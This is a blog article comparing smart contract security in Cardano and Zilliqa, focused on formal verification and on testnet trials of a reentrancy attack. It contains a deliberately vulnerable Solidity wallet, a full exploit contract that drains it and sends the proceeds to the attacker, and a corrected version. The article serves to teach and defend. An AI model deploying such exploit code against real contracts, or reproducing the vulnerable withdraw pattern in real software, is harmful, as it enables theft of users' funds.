Smart Contract Security Guaranteed by the Network: Cardano and Zilliqa

The introduction of smart contracts surely was one of the greatest milestones in the history of the blockchain. But just like any innovation, smart contracts aren’t free of flaws and security issues.

Developers want to be sure that the contracts they write do exactly what they’re meant to do and that their code contains no hidden errors and vulnerabilities. And this is exactly what two networks, Zilliqa and Cardano, are offering. They plan to guarantee smart contract security within their protocols.

In this article, we talk about smart contract security in Cardano and Zilliqa and test both networks by trying to exploit a reentrancy vulnerability within their contracts.

Smart contract security

Before we start investigating key features of Cardano and Zilliqa, let’s look closer at the nature of smart contracts and how you can ensure their security. A smart contract is a self-executing contract in which the terms of the agreement are written directly into the lines of its code.

Smart contracts are supposed to securely and impartially transfer funds between two or more parties, without requiring mutual trust between them. This means that a smart contract has to be completely secure with no loopholes or vulnerabilities hidden in its code.

Currently, there are several blockchain protocols that support smart contracts, Ethereum being the most popular. However, the Ethereum platform is far from being fully secure. Some of its past vulnerabilities have led to millions of tokens being stolen or lost. In 2016, the network even had to perform a hard fork to revert damage.

There are many things that can compromise a smart contract: programming mistakes, protocol bugs, compiler errors, and various attacks on the network. And the best way to solve this problem is to create a blockchain protocol that implements fully secure smart contracts. This requires creating a system that does exactly what the programmer intends, with no room for introducing any vulnerabilities or unexpected events.

In this article, we focus on two blockchain networks that are planning to create such systems and thereby guarantee a high level of smart contract security when using their protocols: Zilliqa and Cardano. Both of these networks have recently released their testnets and are currently on their way to becoming the next big smart contract platforms.

Note that we’re not trying to compare Zilliqa vs Cardano security but rather to see whether formal verification can help developers improve the security of smart contracts in general. So let’s look closer at what each of these blockchain platforms has to offer.

Cardano

Cardano is a rather new blockchain platform built on the ADA cryptocurrency. The platform was launched in September 2017. One of the main differentiators of the Cardano project is the research-driven approach they implement at the development stage and the scientific philosophy of the project. The platform was even named after one of the greatest Renaissance mathematicians, Gerolamo Cardano.

Cardano has a lot of scientific papers describing the platform’s components and protocols. The project has an interesting approach to addressing scalability and governance issues, a description of which can be found on their website along with academic research. But in terms of smart contracts, the most important part of Cardano security is the Cardano Computation Layer (CCL).

CCL is Cardano’s smart contract platform, which consists of two layers:

• A formally specified virtual machine
• Formally specified languages

The combination of these two layers allows formally specified smart contracts to be easily verified against the virtual machine. To make these formal specifications possible, Cardano uses the K framework.

Let’s take a closer look at the process of verifying a contract on the Cardano network.

Smart contract verification in Cardano

In Cardano, smart contracts are written in Haskell. The process of verifying a contract on this platform is a bit more complex than on other blockchain networks. Normally, it would take only three steps to create and run a smart contract (see Figure 1).

 

Figure 1. Smart contract execution scheme

The code of a smart contract is compiled into bytecode (virtual machine instructions), which is later executed within the network.

However, a smart contract created in this way would be unverified, as there’s no way to be sure that the final bytecode does exactly what the developer wants it to do. This is a pressing challenge with Ethereum and its language, Solidity. In order to verify a smart contract, Ethereum developers have to rely on imperfect static or dynamic analysis tools like Manticore or Mythril.

Formal verification is used to prove that a contract behaves the way it’s supposed to behave. Any accidental (or intentional) vulnerabilities that may be introduced at the development stage would be discovered during verification. So the term formally verified contract basically means that a contract is free from any exploits and does exactly what the developer wants it to do.

In order to formally verify a smart contract, we need to add a couple of additional steps to the previous scheme (see Figure 2).

 

Figure 2. Verified smart contract execution scheme

To create a formally verified smart contract, you need to provide formal specifications for both the contract and its execution environment. Then, a verification tool can take the compiled bytecode and check if it runs exactly the way it’s described in the specification of the contract when implemented on the specified virtual machine. In the case of Cardano, the verification tool is already included in the K framework.

All these additional steps are necessary to ensure that a smart contract doesn’t contain any errors.

Apart from performing full formal verification, the K framework allows you to detect some edge cases, such as potential reentrancy exploits in unverified contracts. This way, even contracts that haven’t been verified are in less danger of unknown vulnerabilities and code errors.

Now let’s move to the virtual machine implementations used by Cardano.

Cardano virtual machine implementations

Currently, Cardano has two virtual machine implementations on two separate test networks: KEVM and IELE.

KEVM is the Ethereum virtual machine (EVM) that was specified by the K framework. It was mainly created to study the formal verification capabilities of the K framework and to make it easier for developers to switch from Ethereum to Cardano.

The framework generates both the compiler and the runtime from the language description. This way, Ethereum smart contracts written in Solidity can be verified and executed on the Cardano blockchain. Such verification allows for detecting all major vulnerabilities such as reentrancy, integer overflows, and unchecked function calls.

However, the main focus of the Cardano developers’ research is on the IELE virtual machine. Basically, IELE is an intermediate language for translating smart contracts written in higher-level languages into executable instructions. This virtual machine is also described in terms of the K framework and was designed to ease the process of building formal verification tools.

Unlike EVM, IELE is a register-based virtual machine. It has an unbounded number of registers and supports unbounded integers. This makes it even easier to verify smart contracts since you don’t have to worry about integer overflows or stack bounds. Also, similar to Ethereum, IELE uses gas to limit resource use and prevent DoS attacks.

Since IELE is an intermediate language, theoretically you can write smart contracts in any language that can be formally described using the K framework. However, right now there’s only one supported language – Plutus. Plutus is a functional language that’s heavily inspired by Haskell, similar to how Solidity was inspired by JavaScript.

In the next section, we talk about the second blockchain network that promises to guarantee smart contract security within its protocol – Zilliqa.

Zilliqa

Just like Cardano, Zilliqa is a young project and was launched in June 2017. The platform uses the concept of sharding to solve the problem of blockchain scalability and also has its own language, Scilla. Let’s look closer at what Zilliqa can offer on smart contract security.

Writing smart contracts in Scilla

In contrast to the languages used by Cardano and Ethereum, Zilliqa’s smart contract language, Scilla, is not Turing complete. Turing completeness refers to whether a programming language can be used to implement any algorithm and simulate any Turing machine. A non-Turing complete programming language has a limited subset of functions.

The most common example of a Turing incomplete machine is a calculator. An ordinary calculator is able to perform the majority of basic calculations such as arithmetic calculations or simple algebraic tasks. However, an ordinary calculator can’t solve equations or plot graphs.

In terms of smart contracts, a non-Turing complete language does two things:

• On the one hand, it limits the freedom of a smart contract developer.
• On the other hand, it makes smart contracts easy to verify.

When a contract is supposed to handle large amounts of currency, this is surely an acceptable tradeoff. In the case of Scilla, being non-Turing complete allows the language to be fully formally verified by mathematical proofs.

Scilla is an intermediate language, just like Cardano’s IELE. However, you can write smart contracts directly in Scilla.

Scilla was designed to ensure the separation between:

• Computation and communication – Every computation (such as a balance change or function value) is handled separately as an atomic transaction, without the involvement of any third parties. If such involvement is required, the transaction ends and appropriate messages are sent and received.
• Effectful and pure computations – Any computation happening within a transition has to terminate and have a predictable effect on the state of the contract and the execution. This is achieved by creating a distinction between pure computations (plain calculations with primitive types) and impure or effectful computations (which read/write data to/from the database).
• Invocation and continuation – Every invocation of an external function has to be absolutely last in a transaction. This helps avoid multiple common pitfalls like uncontrolled reentrancy, but this also limits the expressiveness of the language. To regain some of the language’s expressive power, Scilla supports continuations, which are a form of callback. The caller provides a function that a callee will invoke instead of returning control to the caller.

The process of formal verification of smart contracts in Zilliqa is pretty similar to the process in Cardano. However, in the case with Zilliqa, the security of smart contracts is much easier to achieve thanks to a stricter development environment. As a result, even unverified contracts are considerably safer and contain fewer vulnerabilities and errors if they’re written in Scilla.

Now it’s time to explore the process of testing smart contracts on both platforms.

Testing (in)secure smart contracts

In order to test both platforms, we can try to recreate one of the most famous smart contract vulnerabilities – the reentrancy vulnerability. This vulnerability is infamous for having brought down many large smart contracts. In fact, the DAO hack that led to the split of Ethereum was caused by a reentrancy vulnerability. So this is a good test case for basic smart contract exploit prevention. If such a vulnerability can be exploited, the platform doesn’t really offer any additional security apart from the ease of formal contract verification.

Testing Cardano smart contracts

Let’s start our tests with Cardano. This platform will be easier to check because it supports smart contracts written in Solidity. To run the test, we can simply take a vulnerable contract from Ethereum and attempt to publish and exploit it on Cardano.

Here’s what our sample vulnerable contract looks like:

pragma solidity 0.4.24;
  
contract TestWallet
{
    mapping (address => uint256) balances;
      
    function deposit() payable
    {
        balances[msg.sender] = balances[msg.sender] + msg.value;
    }
      
    function withdraw()
    {
        if(!(msg.sender.call.value(balances[msg.sender])())){ // This is the vulnerable line. If msg.sender is a smart contract, a function that can call back here to receive the ETH again will be executed.
            throw;
        }
        balances[msg.sender] = 0; // This is the line that’s wrong. The balance has to be updated before any external calls in order to prevent reentrancy attacks.
    }
}

In this example, the vulnerability comes from being able to unexpectedly call back into the withdraw function from a different contract while the withdraw function is being executed (basically, re-entering the function and executing it for a second time).

And here’s what the contract that exploits the reentrancy vulnerability looks like:

pragma solidity 0.4.24;
  
  
contract ReentranceExploit {
    bool public attack = false;
    TestWallet public target;
    address public owner;
  
    constructor() public {
        owner = msg.sender;
    }
  
    // The deposit function sets the target wallet and deposits some ETH from this contract's address to the wallet (to create a balance in the wallet)
    function deposit(address targetContract) public payable {
        target = TestWallet(targetContract);
        target.deposit.value(msg.value)();
    }
  
    // The attack function starts the attack
    function attack() public {
        attack = true; // an attack is ongoing
        target.withdraw(); // call the wallet to withdraw funds
    }
  
    // The fallback function (a function with no name) is triggered when a contract receives any ETH (such as from withdrawing ETH from the wallet)
    function () public payable {
        if (attack){ // if the attack is ongoing
            attack = false; // Stop repeating the attack; we don't want the transaction to run out of gas (this can be changed to a counter to steal tokens more efficiently).
            target.withdraw(); // Call the wallet again. This time, the wallet will also transfer funds to this address since it hasn't updated the balance yet.
        }
    }
  
    // The finishAttack function sends all received funds to the attacker.
    function finishAttack() public {
        selfdestruct(owner);
    }

To launch this contract, we’ll use Node.js, a slightly modified version of Ethereum’s web3 Javascript API, and solc, the Solidity compiler. This way, contract compilation and execution can be repeated with ease. The full script can be found in this file (12.23 KB).

The script from the file does four things:

1. Sets up web3 to use the Cardano testnet
2. Generates an account (a private key) and requests some tokens from the faucet to fund the test
3. Compiles smart contracts and sends them to the blockchain
4. Executes the transactions that are required to reproduce the exploit

This experiment showed an interesting feature of the Cardano network: it didn’t accept any transaction that could lead to reentrancy. However, we can modify the target contract to prevent reentrancy:

pragma solidity 0.4.24;
  
contract TestWallet
{
    mapping (address => uint256) balances;
      
    function deposit() payable
    {
        balances[msg.sender] = balances[msg.sender] + msg.value;
    }
      
    function withdraw()
    {
        uint balance = balances[msg.sender];
        balances[msg.sender] = 0; // Now we update the balance before doing any external calls. If the function is executed again, the balance will be zero and reentrancy will have no effect.
        msg.sender.transfer(balance); // This is a much safer variant of the call in the vulnerable contract. It doesn't require any conditions and also prevents reentrancy by limiting resources (GAS) for the fallback function.
    }
}

In this case, the network accepts transactions successfully and the contract functions normally. So apparently potential reentrancy doesn’t work on KEVM. However, another common issue in Ethereum smart contracts, integer overflow, can be easily reproduced on this virtual machine. So without formal verification, contracts are still vulnerable to overflows.

Testing Zilliqa smart contracts

As for Zilliqa, we can start by creating a testnet wallet and signing up to receive some tokens. Then we can test a sample smart contract using the online Scilla compiler. However, none of the vulnerabilities we tested in the previous section can be implemented in Scilla.

Reentrancy is impossible by design. All invocations and messages have to be at the end of the function and no calls can return to the sender. Furthermore, the virtual machine throws an error and reverts the transaction if an overflow is detected.

Zilliqa seems to have much better exploit prevention mechanisms in general thanks to its stricter execution environment. So even unverified contracts are considerably safer if they’re written in Scilla.

Note that we didn’t test any verified contracts. Only intended exploits that were described in the formal specification of the contract can possibly pass the formal verification process. But it would be strange and suspicious if certain vulnerabilities were added into a contract by design. So formally verified smart contracts shouldn’t be introducing any dangerous vulnerabilities.

Conclusion

The next generation of blockchain networks will certainly bring a lot of exciting changes. Cardano and Zilliqa are two blockchain platforms united in their goal of improving the safety of smart contracts and making them less vulnerable to different code errors and exploits. To accomplish this and make sure that smart contracts behave just the way they’re supposed to, both platforms use formal verification.

The process of formally verifying smart contracts is an interesting topic by itself and may come up in our future posts.

Are you working on a blockchain-based solution? At Apriorit, we have a team of passionate professionals and true blockchain experts who can assist you in solving tasks of any difficulty. Get in touch with us by filling out the form below and we’ll get back to you shortly.